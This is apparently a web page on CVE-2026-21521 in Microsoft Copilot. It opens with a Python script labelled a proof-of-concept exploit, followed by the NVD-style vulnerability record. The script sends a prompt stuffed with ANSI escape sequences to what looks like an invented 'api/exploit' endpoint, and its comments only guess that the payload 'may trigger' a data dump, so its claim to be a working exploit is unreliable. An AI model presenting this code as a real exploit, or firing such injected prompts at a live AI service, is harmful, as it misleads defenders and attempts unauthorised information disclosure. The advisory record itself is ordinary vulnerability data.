CVE-2026-21521

# CVE-2026-21521 PoC - Escape Sequence Injection # Target: Microsoft Copilot # Type: Information Disclosure via Escape Sequence Injection import requests import json def exploit_copilot_escape_injection(target_url, malicious_prompt): """ Demonstrates escape sequence injection in Microsoft Copilot. This PoC shows how attacker-controlled escape sequences can trigger unintended information disclosure. """ # Malicious prompt containing escape sequences # ANSI escape sequence to trigger hidden data access escape_payload = ( "\x1b[31m" # ANSI red color code "\x1b[?25l" # Hide cursor "\x1b[6n" # Request cursor position (may trigger response) "Summarize the following: [INJECTED]\n" "\x1b[s" # Save cursor position "\x1b[999C" # Move cursor far right (may trigger data dump) "\x1b[6n" # Another cursor position request "\x1b[u" # Restore cursor position ) # Full attack payload attack_payload = { "prompt": malicious_prompt + escape_payload, "context": "user_session", "model": "copilot" } # Send exploit request response = requests.post( target_url, json=attack_payload, headers={ "Content-Type": "application/json", "User-Agent": "Mozilla/5.0" } ) return response.json() # Example usage if __name__ == "__main__": TARGET = "https://copilot.microsoft.com/api/exploit" # Crafted prompt to trigger information disclosure prompt = "What is the weather today? " result = exploit_copilot_escape_injection(TARGET, prompt) print(f"Exploit Response: {json.dumps(result, indent=2)}")

{"cve": {"id": "CVE-2026-21521", "sourceIdentifier": "[email protected]", "published": "2026-01-22T23:15:57.823", "lastModified": "2026-02-02T13:30:53.350", "vulnStatus": "Analyzed", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["exclusively-hosted-service"]}], "descriptions": [{"lang": "en", "value": "Improper neutralization of escape, meta, or control sequences in Copilot allows an unauthorized attacker to disclose information over a network."}, {"lang": "es", "value": "Neutralización incorrecta de secuencias de escape, meta o control en Copilot permite a un atacante no autorizado divulgar información a través de una red."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N", "baseScore": 7.4, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 4.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-150"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:365_word_copilot:-:*:*:*:*:*:*:*", "matchCriteriaId": "3A538269-3D01-41B4-B8B1-B70D8514D336"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21521", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}